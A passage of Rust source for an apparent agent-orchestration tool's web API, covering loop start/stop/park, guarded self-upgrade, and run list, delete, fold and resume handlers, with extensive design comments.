1705    /// because the two differ exactly where it matters: a loop asked to stop
1706    /// while idle is gone within one poll interval, and one asked to stop
1707    /// mid-run keeps going for as long as the graph takes. The operator needs
1708    /// to be told which of those they are waiting for.
1709    stopping: bool,
1710    /// A park was asked for: the run in flight stops at its next node
1711    /// boundary rather than finishing.
1712    ///
1713    /// Separate from `stopping` because the two promise different waits. A
1714    /// stop is "when this competition ends", which can be an hour; a park is
1715    /// "after the step it is on", which is minutes and is what an operator
1716    /// waiting to replace the binary needs to see.
1717    parking: bool,
1718    /// The loop is this process's own.
1719    ///
1720    /// Spelled separately from `running` for the front end's sake, even
1721    /// though inside this process the two move together: `running: false`
1722    /// with `daemon.running: true` is the case where the operator's own `magi
1723    /// serve` owns the loop, and `owned` is the field that tells the UI its
1724    /// buttons have to explain that rather than pretend.
1725    owned: bool,
1726    /// Repository the loop uses for tasks that name none - what it was
1727    /// started with while it runs, and what a start would use before that.
1728    repo: String,
1729    /// Merge mode override in force, or `null` when each repository's own
1730    /// config decides.
1731    merge: Option<String>,
1732    /// Why the last loop in this process ended, when it ended badly.
1733    ///
1734    /// The only place a crashed loop is visible to someone holding a phone.
1735    /// It is logged at error level as well, but a terminal nobody kept open
1736    /// is not a report, and a loop that died at 3am must not read as merely
1737    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1738    /// answers the same question about the same kind of failure.
1739    last_error: Option<String>,
1740    /// The status file, judged the same way `/api/health` judges it: this is
1741    /// what says whether a loop is alive in some *other* process.
1742    daemon: DaemonView,
1743}
1744
1745/// A loop another process already owns.
1746///
1747/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1748/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1749/// published by a pid that is not ours. Excluding our own pid is what makes
1750/// stopping work at all - the loop this process runs writes that file too, so
1751/// a check that ignored the pid would decide the operator's own UI was a
1752/// stranger and refuse to stop the loop it had just started.
1753#[derive(Debug, Clone, Copy)]
1754struct Foreign {
1755    /// The pid the other process published, when it published one.
1756    pid: Option<u32>,
1757}
1758
1759impl Foreign {
1760    /// Another process's live loop, or `None` when this process is free to
1761    /// run one.
1762    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1763        let reading = reading?;
1764        if !reading.running(Timestamp::now()) {
1765            return None;
1766        }
1767        match reading.pid {
1768            Some(pid) if pid == std::process::id() => None,
1769            // A fresh heartbeat with no pid in it is still evidence of a live
1770            // daemon. "Some other process" is the honest answer, and refusing
1771            // to start beside it is the safe one.
1772            pid => Some(Self { pid }),
1773        }
1774    }
1775
1776    /// How a conflict names it. The pid is the whole point of the message: it
1777    /// is what the operator needs to find the terminal that owns the loop.
1778    fn who(&self) -> String {
1779        match self.pid {
1780            Some(pid) => format!("another magi process (pid {pid})"),
1781            None => "another magi process".to_owned(),
1782        }
1783    }
1784}
1785
1786/// How a loop is started, as a future this module can hold onto.
1787///
1788/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1789/// trait object or a hand-written `Debug` impl for the sake of one seam.
1790type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1791
1792/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1793fn launch_daemon(
1794    opts: daemon::Opts,
1795    stop: daemon::Stop,
1796) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1797    Box::pin(daemon::serve_until(opts, stop))
1798}
1799
1800/// The loop this process runs, behind one lock.
1801#[derive(Debug, Default)]
1802struct LoopState {
1803    /// The loop, while there is one.
1804    live: Option<Live>,
1805    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1806    ///
1807    /// The loop is in-process state rather than a file, so nothing on disk
1808    /// would tell a second phone that the first one started it. Without this
1809    /// counter the only way to learn about a start, a stop request or a crash
1810    /// would be to poll `/api/loop`, which is the thing the change stream
1811    /// exists to avoid on a mobile link.
1812    rev: u64,
1813    /// Why the last loop ended, when it ended badly. See
1814    /// [`LoopView::last_error`].
1815    last_error: Option<String>,
1816}
1817
1818/// A loop in flight.
1819#[derive(Debug)]
1820struct Live {
1821    /// The cooperative stop, shared with the loop task.
1822    stop: daemon::Stop,
1823    /// The task itself, kept only to answer whether it is still there: a loop
1824    /// that panicked never records its own end, and without this the view
1825    /// would go on reporting a loop that no longer exists - the one lie that
1826    /// would leave the operator with no button to press.
1827    handle: tokio::task::JoinHandle<()>,
1828    /// What the loop was started with, so the view reports the repository and
1829    /// merge mode its runs will actually use rather than what an edit to the
1830    /// config since would give.
1831    opts: daemon::Opts,
1832}
1833
1834impl Live {
1835    /// Is the task still there? See [`Live::handle`].
1836    fn alive(&self) -> bool {
1837        !self.handle.is_finished()
1838    }
1839}
1840
1841/// Take the loop lock, recovering from a poisoned one.
1842///
1843/// What this mutex holds is a stop flag, a task handle and two counters, none
1844/// of which a panic elsewhere can leave in a state worth refusing to read.
1845/// Propagating the poison instead would mean an operator who can see the loop
1846/// running and can no longer stop it from the only surface they have.
1847fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1848    state.lock().unwrap_or_else(PoisonError::into_inner)
1849}
1850
1851/// `GET /api/loop`.
1852async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1853    blocking(move || {
1854        let reading = daemon::read_status(&ui.home);
1855        Ok(Json(ui.loop_view(reading)))
1856    })
1857    .await
1858}
1859
1860/// The body of `POST /api/loop`.
1861///
1862/// One required field and nothing else: no `default` and no unknown fields,
1863/// so a body that fails to say which way the switch was flipped is a 400
1864/// rather than a tap that quietly does the opposite of what was pressed.
1865#[derive(Debug, Deserialize)]
1866#[serde(deny_unknown_fields)]
1867struct LoopCommand {
1868    running: bool,
1869    /// Stop the run in flight at its next node boundary rather than letting it
1870    /// finish.
1871    ///
1872    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1873    /// competition is tens of minutes of paid work and finishing it is
1874    /// normally the cheapest thing to do. A park is for the operator who
1875    /// wants the process gone now - to replace the binary, most of all - and
1876    /// it costs at most the node in progress because every node writes its
1877    /// state before the next one starts.
1878    #[serde(default)]
1879    park: bool,
1880}
1881
1882/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1883///
1884/// Answers with the view rather than waiting for the loop to reach the state
1885/// that was asked for. Starting is immediate anyway; stopping is not, and the
1886/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1887/// request open for. `stopping` in the answer is what the operator watches
1888/// instead.
1889async fn loop_post(
1890    State(ui): State<Arc<Ui>>,
1891    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1892) -> ApiResult<Json<LoopView>> {
1893    // Taken as a `Result` so a malformed body is a 400 like every other route
1894    // here, rather than axum's default 422 that the UI has no branch for.
1895    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1896    blocking(move || {
1897        let reading = daemon::read_status(&ui.home);
1898        let foreign = Foreign::of(reading.as_ref());
1899        if body.running {
1900            ui.start_loop(foreign)?;
1901        } else {
1902            ui.stop_loop(foreign, body.park)?;
1903        }
1904        Ok(Json(ui.loop_view(reading)))
1905    })
1906    .await
1907}
1908
1909/// What `POST /api/upgrade` set in motion.
1910#[derive(Debug, Serialize)]
1911struct UpgradeView {
1912    /// The version this process is running.
1913    from: String,
1914    /// The release it is replacing itself with, when there is one.
1915    to: Option<String>,
1916    /// A run was parked first, and this is its id.
1917    parked: Option<String>,
1918    /// What the operator should expect to happen next.
1919    detail: String,
1920}
1921
1922/// `POST /api/upgrade` - replace this binary with the newest release and come
1923/// back on it.
1924///
1925/// The one thing the deck could not do for itself. Every fix landed today
1926/// either waited for a competition to end or went in with the deck stopped,
1927/// because `cargo install` cannot overwrite a running executable on Windows.
1928/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1929/// the new one in its place, so the swap itself needs no downtime. Only the
1930/// restart does, and the order is the whole design:
1931///
1932/// 1. **Park.** A run in flight stops at its next node boundary and stays
1933///    resumable, so this costs at most the node in progress rather than the
1934///    competition. Without it the honest choices were waiting an hour or
1935///    discarding paid agent work.
1936/// 2. **Replace.** The new binary goes into place while this one still runs.
1937/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1938///    successor - see [`spawn_successor`] for what happens in the other
1939///    order.
1940/// 4. **Resume.** The next loop carries the parked run on rather than
1941///    competing again; see `daemon::attempt`.
1942///
1943/// Answers **202**: the reply has to reach the phone while this process can
1944/// still send one, and the phone learns the deck is back by reconnecting.
1945async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1946    let reading = daemon::read_status(&ui.home);
1947    if let Some(other) = Foreign::of(reading.as_ref()) {
1948        return Err(ApiError::conflict(format!(
1949            "the loop belongs to {}, so replacing this binary would leave \
1950             that process running an old one against the same queue. Upgrade \
1951             where it was started.",
1952            other.who()
1953        )));
1954    }
1955
1956    // The same kill switch the background check honours (`disabled_by_env`),
1957    // checked before anything else for the same reason it is read before the
1958    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
1959    // contact GitHub from this process", and a button press must not
1960    // override that any more than a broken `magi.toml` may.
1961    if crate::updater::disabled_by_env() {
1962        return Ok((
1963            StatusCode::OK,
1964            Json(UpgradeView {
1965                from: env!("CARGO_PKG_VERSION").to_owned(),
1966                to: None,
1967                parked: None,
1968                detail: format!(
1969                    "Automatic updates are disabled by {}. Nothing was parked \
1970                     and nothing restarted.",
1971                    crate::updater::NO_AUTOUPDATE_ENV
1972                ),
1973            }),
1974        ));
1975    }
1976
1977    // Asked before anything is disturbed. Restarting when there is nothing
1978    // to install is not a harmless no-op: it parks the run in flight and
1979    // drops every connection to pay for an upgrade that did not happen. A
1980    // probe against a deck already on the newest build did exactly that.
1981    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1982    let from = env!("CARGO_PKG_VERSION").to_owned();
1983    let latest = match crate::updater::Checker::new(&cfg.update) {
1984        Some(checker) => checker
1985            .newer_release()
1986            .await
1987            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1988        None => None,
1989    };
1990    let Some(latest) = latest else {
1991        return Ok((
1992            StatusCode::OK,
1993            Json(UpgradeView {
1994                from,
1995                to: None,
1996                parked: None,
1997                detail: "Already on the newest release. Nothing was parked \
1998                         and nothing restarted."
1999                    .to_owned(),
2000            }),
2001        ));
2002    };
2003
2004    // Parked before anything is replaced: a successor that came up while a
2005    // run was mid-node would find a run nobody is driving.
2006    let parked = ui.park_for_upgrade()?;
2007    let detail = match &parked {
2008        // Honest about the wait. A park takes effect at the *next* node
2009        // boundary, so a run mid-implement finishes that wave first - up to
2010        // `timeout_implement`, an hour by default. Saying "restarting now"
2011        // would make the deck look wedged for the rest of it.
2012        Some(run) => format!(
2013            "Run {} is parking at its next step, which can take as long as \
2014             the step it is on - up to an hour for an implement wave. The \
2015             deck replaces itself once it parks, comes back, and the loop \
2016             carries that run on from where it stopped. Nothing is lost if \
2017             you close this.",
2018            crate::run::short_of(run)
2019        ),
2020        None => "The deck replaces itself and comes back. Nothing was in \
2021                 flight to park."
2022            .to_owned(),
2023    };
2024
2025    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2026    // poll must see a `Downloading` stage immediately, not whenever the
2027    // spawned task happens to get scheduled.
2028    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2029    progress.parked_run = parked.clone();
2030    let _ = updater::write_progress(&ui.home, &progress);
2031
2032    let home = ui.home.clone();
2033    tokio::spawn(async move {
2034        if let Err(e) = upgrade_and_restart(home.clone()).await {
2035            tracing::error!("the upgrade did not complete: {e:#}");
2036            if let Some(mut progress) = updater::read_progress(&home) {
2037                progress.fail(format!("{e:#}"));
2038                let _ = updater::write_progress(&home, &progress);
2039            }
2040        }
2041    });
2042
2043    Ok((
2044        StatusCode::ACCEPTED,
2045        Json(UpgradeView {
2046            from,
2047            to: Some(latest.tag_name),
2048            parked,
2049            detail,
2050        }),
2051    ))
2052}
2053
2054/// Replace the binary, then ask [`serve`] to hand the address over.
2055///
2056/// Separated from the handler so the 202 is already on its way, and separated
2057/// from the spawn so the successor starts only after the listener is dropped.
2058async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2059    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2060    // hang the upgrade for as long as the process lives.
2061    crate::updater::run_self_update(true, false, true).await?;
2062    tracing::info!("binary replaced - asking the server to hand over");
2063    if let Some(mut progress) = updater::read_progress(&home) {
2064        progress.advance(updater::Stage::Replaced);
2065        let _ = updater::write_progress(&home, &progress);
2066    }
2067    HANDOVER.notify_one();
2068    Ok(())
2069}
2070
2071/// One row in the run list.
2072///
2073/// The list route returns this rather than whole `RunState`s: the summary of a
2074/// run is a few hundred bytes and the state is megabytes, and the difference
2075/// is what makes the history usable on a mobile link.
2076#[derive(Debug, Serialize)]
2077struct RunSummary {
2078    id: String,
2079    short: String,
2080    status: String,
2081    done: bool,
2082    instruction: String,
2083    title: String,
2084    repo: String,
2085    repo_name: String,
2086    created_at: String,
2087    updated_at: String,
2088    candidates: usize,
2089    viable: usize,
2090    judges: usize,
2091    winner: Option<char>,
2092    reviews: usize,
2093    quota_losses: usize,
2094    event: Option<String>,
2095    /// The later attempt at the same task that replaced this one, if any.
2096    ///
2097    /// Two cards with one title is otherwise unreadable: this is what lets
2098    /// the deck say "superseded by 4043" on the older of the pair.
2099    superseded_by: Option<String>,
2100    /// Blocked on a question nobody has answered.
2101    ///
2102    /// Derived from the question store rather than stored on the run: an agent
2103    /// calling `magi ask` blocks mid-node, and writing a status from there
2104    /// would race the graph's own save of `run.json` and be overwritten at the
2105    /// next node boundary. Asking the store is always true and never races.
2106    waiting: bool,
2107    /// The land loop's last look at the pull request, when there is one.
2108    pr: Option<crate::run::PrRecord>,
2109}
2110
2111impl RunSummary {
2112    fn of(state: &RunState, waiting: bool) -> Self {
2113        Self {
2114            id: state.id.clone(),
2115            short: state.short().to_owned(),
2116            status: status_word(state.status),
2117            done: state.status.done(),
2118            instruction: state.instruction.clone(),
2119            title: title_from(&state.instruction, TITLE_MAX),
2120            repo: state.repo.display().to_string(),
2121            repo_name: state
2122                .repo
2123                .file_name()
2124                .map(|n| n.to_string_lossy().into_owned())
2125                .unwrap_or_default(),
2126            created_at: state.created_at.to_string(),
2127            updated_at: state.updated_at.to_string(),
2128            candidates: state.candidates.len(),
2129            viable: state.viable().len(),
2130            judges: state.config.graph.judges,
2131            winner: state.winner().map(|c| c.label),
2132            reviews: state.reviews.len(),
2133            quota_losses: state.quota.len(),
2134            event: state.events.last().map(|e| e.message.clone()),
2135            waiting,
2136            // Filled in by the list route, which is the only place that can
2137            // see a task's other attempts.
2138            superseded_by: None,
2139            pr: state.pr.clone(),
2140        }
2141    }
2142}
2143
2144/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2145/// the same string `serde` writes for the status inside a full run.
2146fn status_word(status: RunStatus) -> String {
2147    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2148    // was a third way of naming the same statuses, and one that changed
2149    // silently with a derive.
2150    status.as_str().to_owned()
2151}
2152
2153/// `?limit=`, clamped by the handler.
2154#[derive(Debug, Deserialize)]
2155struct ListQuery {
2156    #[serde(default)]
2157    limit: Option<usize>,
2158}
2159
2160async fn runs_list(
2161    State(ui): State<Arc<Ui>>,
2162    Query(q): Query<ListQuery>,
2163) -> ApiResult<Json<Vec<RunSummary>>> {
2164    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2165    blocking(move || {
2166        let superseded = superseded_runs(&ui.queue);
2167        let summaries = run_ids(&ui.runs)
2168            .into_iter()
2169            // A run whose state cannot be read is skipped, not fatal: a run
2170            // killed mid-write must not blank the history of every other one.
2171            // The detail route still explains it, which is where an operator
2172            // asking "what happened to that run" ends up.
2173            .filter_map(|id| read_run(&ui.runs, &id).ok())
2174            .take(limit)
2175            .map(|state| {
2176                let waiting = !ui.questions.open_for(&state.id).is_empty();
2177                let by = superseded.get(&state.id).cloned();
2178                let mut row = RunSummary::of(&state, waiting);
2179                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2180                row
2181            })
2182            .collect();
2183        Ok(Json(summaries))
2184    })
2185    .await
2186}
2187
2188/// Runs that a later attempt at the same task replaced, mapped to the id of
2189/// the attempt that replaced them.
2190///
2191/// A task keeps its attempts in order, and the deck showed them as two cards
2192/// with the same title and no hint which was which: yukimemi asked why
2193/// `stalled` and `blocked` appeared twice for one task, and the answer -
2194/// "those are two tries, and the second one exists because of a bug since
2195/// fixed" - was not on the screen anywhere.
2196///
2197/// Read from the queue rather than stored on the run, because the ordering is
2198/// the queue's fact: a `RunState` has no idea another attempt happened after
2199/// it.
2200fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2201    let mut by = HashMap::new();
2202    for task in queue.list() {
2203        for pair in task.runs.windows(2) {
2204            if let [earlier, later] = pair {
2205                by.insert(earlier.clone(), later.clone());
2206            }
2207        }
2208    }
2209    by
2210}
2211
2212/// A run as the detail route hands it to the phone.
2213///
2214/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2215/// the instruction as markdown, and the raw `instruction` field this struct
2216/// still carries (unchanged) is what a client wanting the exact bytes reads
2217/// instead.
2218#[derive(Debug, Serialize)]
2219struct RunDetailView {
2220    #[serde(flatten)]
2221    state: RunState,
2222    instruction_md: Vec<md::Node>,
2223    /// Whether a live daemon currently claims this run.
2224    ///
2225    /// `state.active` (flattened in above) is only ever cleared by the
2226    /// process that populated it; a killed one leaves its last wave's
2227    /// entries behind. Carrying this alongside is what lets the phone rail
2228    /// tell "this seat is still answering" from "this seat was still
2229    /// answering when whatever was driving this run died" without a second
2230    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2231    /// proof of either.
2232    live: bool,
2233}
2234
2235impl RunDetailView {
2236    fn of(state: RunState, live: bool) -> Self {
2237        Self {
2238            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2239            live,
2240            state,
2241        }
2242    }
2243}
2244
2245async fn run_detail(
2246    State(ui): State<Arc<Ui>>,
2247    Path(id): Path<String>,
2248) -> ApiResult<Json<RunDetailView>> {
2249    blocking(move || {
2250        let id = resolve_run(&ui.runs, &id)?;
2251        let state = read_run(&ui.runs, &id)?;
2252        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2253        Ok(Json(RunDetailView::of(state, live)))
2254    })
2255    .await
2256}
2257
2258/// `DELETE /api/runs/{id}`.
2259///
2260/// Remove a finished, folded run directory along with its artifacts.
2261/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2262/// deleted. This never touches git worktrees or branches - except for a run
2263/// whose state this build cannot read at all, where there is no candidate
2264/// list to check and the wholesale removal `magi fold` already uses for that
2265/// case is the only meaningful "delete".
2266async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2267    let (id, unreadable) = {
2268        let ui = Arc::clone(&ui);
2269        blocking(move || {
2270            let id = resolve_run(&ui.runs, &id)?;
2271            match read_run(&ui.runs, &id) {
2272                Ok(state) => {
2273                    let in_flight =
2274                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2275                    state
2276                        .ensure_can_delete(in_flight)
2277                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2278                    let dir = ui.runs.join(&id);
2279                    std::fs::remove_dir_all(&dir)
2280                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2281                    Ok((id, false))
2282                }
2283                Err(_) => {
2284                    // Unreadable: there is no candidate list to guard on, so
2285                    // a live daemon's claim is the only thing left to check -
2286                    // the same rule `run_fold` applies for the same reason.
2287                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2288                        return Err(ApiError::conflict(format!(
2289                            "run {id} is being worked on by a live daemon right now"
2290                        )));
2291                    }
2292                    Ok((id, true))
2293                }
2294            }
2295        })
2296        .await?
2297    };
2298    if unreadable {
2299        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2300            .await
2301            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2302    }
2303    let ui = Arc::clone(&ui);
2304    let done = id.clone();
2305    blocking(move || {
2306        // The agent that asked died with the run, so an open question would
2307        // keep asking the operator for a decision nobody can deliver.
2308        ui.questions.abandon_for_run(
2309            &done,
2310            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2311        )?;
2312        Ok(())
2313    })
2314    .await?;
2315    Ok(StatusCode::NO_CONTENT)
2316}
2317
2318/// `POST /api/runs/{id}/fold`.
2319///
2320/// Remove a run's candidate worktrees and branches, keeping its record.
2321///
2322/// This exists because the deck answered "delete this run" with *"Candidates
2323/// must be folded before deleting. Run `magi fold` first."* — a phone being
2324/// told to open a terminal, in the one product whose point is that it does
2325/// not need one. The runs an operator most wants gone are the stalled and
2326/// blocked ones, and those are exactly the runs still holding worktrees:
2327/// three of them here held 53 GB.
2328///
2329/// The winner's tree goes too. A fold is what someone asks for when they are
2330/// finished with a run, and leaving one tree behind would leave the delete
2331/// button disabled for the same reason as before.
2332///
2333/// Refused while a live daemon is working on the run, on the rule that guards
2334/// deletion: folding underneath a running agent would pull the tree it is
2335/// editing out from under it.
2336///
2337/// A run whose state this build cannot read at all falls back to
2338/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2339/// selectively, so the whole record's worktree goes wholesale, exactly what
2340/// `magi fold` does on the command line for the same run.
2341async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2342    let (id, state) = {
2343        let ui = Arc::clone(&ui);
2344        blocking(move || {
2345            let id = resolve_run(&ui.runs, &id)?;
2346            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2347                return Err(ApiError::conflict(format!(
2348                    "run {id} is being worked on by a live daemon right now"
2349                )));
2350            }
2351            let state = read_run(&ui.runs, &id).ok();
2352            Ok((id, state))
2353        })
2354        .await?
2355    };
2356    let removed = match state {
2357        Some(mut state) => crate::graph::fold_run(&mut state, true)
2358            .await
2359            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2360        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2361            .await
2362            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2363    };
2364    Ok(Json(FoldView {
2365        run: id,
2366        removed_count: removed.len(),
2367        removed,
2368    }))
2369}
2370
2371/// What a fold took away, so the deck can say so rather than only re-render.
2372#[derive(Debug, Serialize)]
2373struct FoldView {
2374    run: String,
2375    /// Worktree paths and branch names removed, in the order they went.
2376    removed: Vec<String>,
2377    removed_count: usize,
2378}
2379
2380/// `POST /api/runs/{id}/resume`.
2381///
2382/// Carry a stalled run on from where it stopped, in the background.
2383///
2384/// A stalled card says "the work is kept" and used to offer no way to act on
2385/// that: the candidates are built and paid for, and continuing means re-asking
2386/// only the seats whose absence collapsed the panel. The alternative an
2387/// operator actually had was releasing the task, which competes three fresh
2388/// implementations against work that already exists.
2389///
2390/// **202, not 200.** A resume runs agents for minutes; holding the connection
2391/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
2392/// phone learns the outcome from the change stream.
2393///
2394/// Refused when the loop is running at all, not merely when it is on this run.
2395/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2396/// started a second graph on top of whatever the loop is already driving —
2397/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2398/// allows — would spend that quota twice over for no extra throughput.
2399async fn run_resume(
2400    State(ui): State<Arc<Ui>>,
2401    Path(id): Path<String>,
2402) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2403    let (id, state) = {
2404        let ui = Arc::clone(&ui);
2405        blocking(move || {
2406            let id = resolve_run(&ui.runs, &id)?;
2407            let state = read_run(&ui.runs, &id)?;
2408            Ok((id, state))
2409        })
2410        .await?
2411    };
2412    if !state.status.resumable() {
2413        return Err(ApiError::conflict(format!(
2414            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2415            state.short(),
2416            status_word(state.status)
2417        )));
2418    }
2419    // Refused whenever the loop is running anything at all, not merely when
2420    // it is on this run: a manual resume racing a loop-driven run over the
2421    // same agent quota is the thing this guard exists to prevent, whether
2422    // the loop's own concurrency is one run or several.
2423    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2424        .into_iter()
2425        .next()
2426    {
2427        return Err(ApiError::conflict(format!(
2428            "the loop is running run {} right now; stop it first, or wait for \
2429             it to finish, before resuming a run by hand.",
2430            crate::run::short_of(&work.run)
2431        )));
2432    }
2433    let _resume = ui.begin_resume(&id)?;
2434
2435    // The same shape the list route returns, so the phone updates the card it
2436    // already has rather than learning a second schema for one button.
2437    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2438    let run = id.clone();
2439    tokio::spawn(async move {
2440        let _resume = _resume;
2441        match crate::graph::Runner::resume(&run) {
2442            Ok(mut runner) => {
2443                if let Err(e) = runner.execute().await {
2444                    tracing::warn!("resume of run {run} stopped: {e:#}");
2445                }
2446            }
2447            // The run's own record is what the phone reads; this line is for
2448            // the operator's terminal.
2449            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2450        }
2451    });
2452    Ok((StatusCode::ACCEPTED, Json(queued)))
2453}
2454
2455async fn run_report(
2456    State(ui): State<Arc<Ui>>,
2457    Path(id): Path<String>,
2458) -> ApiResult<impl IntoResponse> {
2459    let text = blocking(move || {
2460        let id = resolve_run(&ui.runs, &id)?;
2461        // Colour is off for the whole process, set once in `serve`. Rendering
2462        // is CPU work over the full state, which is the other reason this is
2463        // not on the executor.
2464        let state = read_run(&ui.runs, &id)?;
2465        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2466        Ok(format!(
2467            "{}{}",
2468            report::run(&state),
2469            report::active_seats(&state, live)
2470        ))
2471    })
2472    .await?;
2473    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2474}
2475
2476/// A task as the UI sees it.
2477///
2478/// The whole task, plus the two things the client would otherwise have to
2479/// reimplement: the human-readable source and the status string. Nothing is
2480/// removed - the phone shows `last_error` and the run history verbatim.
2481#[derive(Debug, Serialize)]
2482struct TaskView {
2483    #[serde(flatten)]
2484    task: Task,
2485    source_label: String,
2486    status_str: &'static str,
2487    /// The instruction, parsed as markdown, for the Queue card's "Full
2488    /// instruction" panel. `task.instruction` is unchanged and still carries
2489    /// the raw text.
2490    instruction_md: Vec<md::Node>,
2491}
2492
2493impl From<Task> for TaskView {
2494    fn from(task: Task) -> Self {
2495        Self {
2496            source_label: task.source.label(),
2497            status_str: task.status.as_str(),
2498            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2499            task,
2500        }
2501    }
2502}
2503
2504/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2505/// its absence, leaves the cache to decide.
2506#[derive(Debug, Default, Deserialize)]
2507#[serde(default)]
2508struct ReposQuery {
2509    refresh: u8,
2510}
2511
2512/// `GET /api/repos` - the repository picker for the plan surface's "start a
2513/// conversation" panel and its "continue in another repository" action.
2514///
2515/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
2516/// of the plan surface uses, discovered against `ui.repo` so an edit to
2517/// `magi.toml` takes effect without a restart, the same reasoning
2518/// [`config_for`] documents for the chat routes.
2519async fn repos_list(
2520    State(ui): State<Arc<Ui>>,
2521    Query(q): Query<ReposQuery>,
2522) -> ApiResult<Json<Vec<repos::Repo>>> {
2523    let refresh = q.refresh != 0;
2524    blocking(move || {
2525        let (cfg, _) = Config::discover(&ui.repo, None)?;
2526        Ok(Json(ui.repos_cache.list(
2527            &cfg.repos.roots,
2528            Duration::from_secs(cfg.repos.scan_ttl),
2529            refresh,
2530        )))
2531    })
2532    .await
2533}
2534
2535/// One `magi plan` draft the plan surface can point at, summarized for
2536/// `GET /api/drafts`.
2537#[derive(Debug, Serialize)]
2538struct DraftSummary {
2539    id: String,
2540    title: String,
2541    seats: usize,
2542    proposals: usize,
2543}
2544
2545/// `GET /api/drafts` - every draft that finished a design-deliberation stage,
2546/// newest first - the plan surface's index into `draft_advisors` below.
2547///
2548/// `magi plan` is a terminal command; a phone that opens later has no other
2549/// way to learn which draft ids exist. Listing only the ids with an
2550/// `<id>.advisors.json` on disk, rather than every `<id>.md`, keeps this to
2551/// what the design-deliberation stage actually produced - an interview
2552/// abandoned before it wrote anything, or one filed with the stage off, has
2553/// nothing here to show.
2554async fn drafts_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<DraftSummary>>> {
2555    blocking(move || {
2556        let dir = ui.home.join("drafts");
2557        let mut out = Vec::new();
2558        let Ok(entries) = std::fs::read_dir(&dir) else {
2559            return Ok(Json(out));
2560        };
2561        for entry in entries.flatten() {
2562            let name = entry.file_name();
2563            let Some(id) = name.to_str().and_then(|n| n.strip_suffix(".advisors.json")) else {
2564                continue;
2565            };
2566            let Ok(raw) = std::fs::read_to_string(entry.path()) else {
2567                continue;
2568            };
2569            let Ok(advice) = serde_json::from_str::<advise::Advice>(&raw) else {
2570                continue;
2571            };
2572            let title = std::fs::read_to_string(dir.join(format!("{id}.md")))
2573                .ok()
2574                .map(|body| title_from(&body, TITLE_MAX))
2575                .unwrap_or_else(|| id.to_owned());
2576            out.push(DraftSummary {
2577                id: id.to_owned(),
2578                title,
2579                seats: advice.records.len(),
2580                proposals: advice.proposals().len(),
2581            });
2582        }
2583        // The id is a `%Y%m%d-%H%M%S-xxxx` stamp (see `plan::new_id`), so a
2584        // plain string sort is already newest-first in reverse.
2585        out.sort_by(|a, b| b.id.cmp(&a.id));
2586        Ok(Json(out))
2587    })
2588    .await
2589}
2590
2591/// The wire shape of `GET /api/drafts/{id}/advisors`: the raw advisor
